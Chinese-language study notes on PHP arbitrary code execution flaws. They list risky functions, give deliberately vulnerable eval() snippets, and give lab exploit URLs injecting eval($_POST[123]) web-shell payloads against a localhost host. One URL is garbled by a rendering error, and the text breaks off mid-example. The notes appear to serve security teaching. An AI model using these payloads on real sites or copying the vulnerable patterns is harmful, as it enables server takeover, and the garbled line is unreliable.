任意代码执行漏洞
PHP代码执行漏洞可以将代码注入到应用中,最终到webserver去执行。该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。
代码执行 和 命令执行
代码执行 后端语言执行 php java .net nodejs
命令执行 调用系统接口
面试喜欢问
代码执行 执行后端语言代码 (java asp.net go nodejs php)
相关函数:
1.eval 本质上是一个语言构造器 不能被可变函数进行调用 接收php代码作为参数
2.assert 断言 参数需要一个拥有返回值的代码 函数 在5.6及以下版本 作为函数 在7.x 以上版本 作为语言构造器
3.preg_replace 1.pattern需要使用/e模式 2. 被替换的字符串能够匹配正则模型 3. 第二个参数直接或者间接可控 4. php 版本<=5.6
代码执行常见的函数
代码执行各函数之间的特点
代码执行如何修复
bypass disable fu nctiO ns ]
常见函数
代码执行漏洞
eval
assert
preg_replace
create_function
array_map
array_filter
call_user_func
call_user_func_array
usort
uasort
eval()函数
.eval和assert函数 eval()函数是将输入的字符串当做PHP代码执行,assert()会检查指定的 assertion
并在结果为 FALSE 时采取适当的行动。
可变函数
<?php
function sayName(){
echo 'now this is bihuo class';
}
$a = 'sayName';
$a();
eval 本质不是一个函数 不能被可变函数调用 是一个语言构造器
assert 断言
作用:是如果它的条件返回错误,则终止程序执行。
危害:该函数也会将传入的字符串参数作为PHP代码执行。如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
接收一个 拥有返回值的断言
assert 需要一个返回值的断言 7.4+ 此时 不再当作函数
preg_replace 正则表达式
此函数的作用是对一个字符串进行正则处理
preg_replace函数的代码执行需要存在/e参数
必须pattern中使用/e
eval 练习一
<?php
$data = $_GET['data'];
eval("\$ret=$data;");
echo $ret;
?>
http://www.localhost.com/roge/dome2.php?data=${eval($_POST[123])}
eval 练习 二
$data = $_GET['data'];
$code="\$ret=\"$data\";";
eval($code);
echo $ret;
http://www.localhost.com/roge/dome2.php?data=%22;eval($_POST[123]);%20//
http://www.localhost.com/roge/dome2.php?data=%22.eval($_POST\[123\]).%22
$data = $_GET['data'];
$code = "\$ret='$data';";
eval($code);
http://www.localhost.com/roge/dome2.php?data=${eval($_POST[123])}
${} 必须在" "包含的内容中才会解析
http://www.localhost.com/test/code_execution.php?data=%27;eval(KaTeX parse error: Expected 'EOF', got '&' at position 17: …POST[11111]);//&̲XDEBUG_SESSION_…_POST[11111]).%27&XDEBUG_SESSION_START=PHPSTORM
eval漏洞利用
eval 练习 三
//关闭方法
$data = $_GET['data'];
$code= "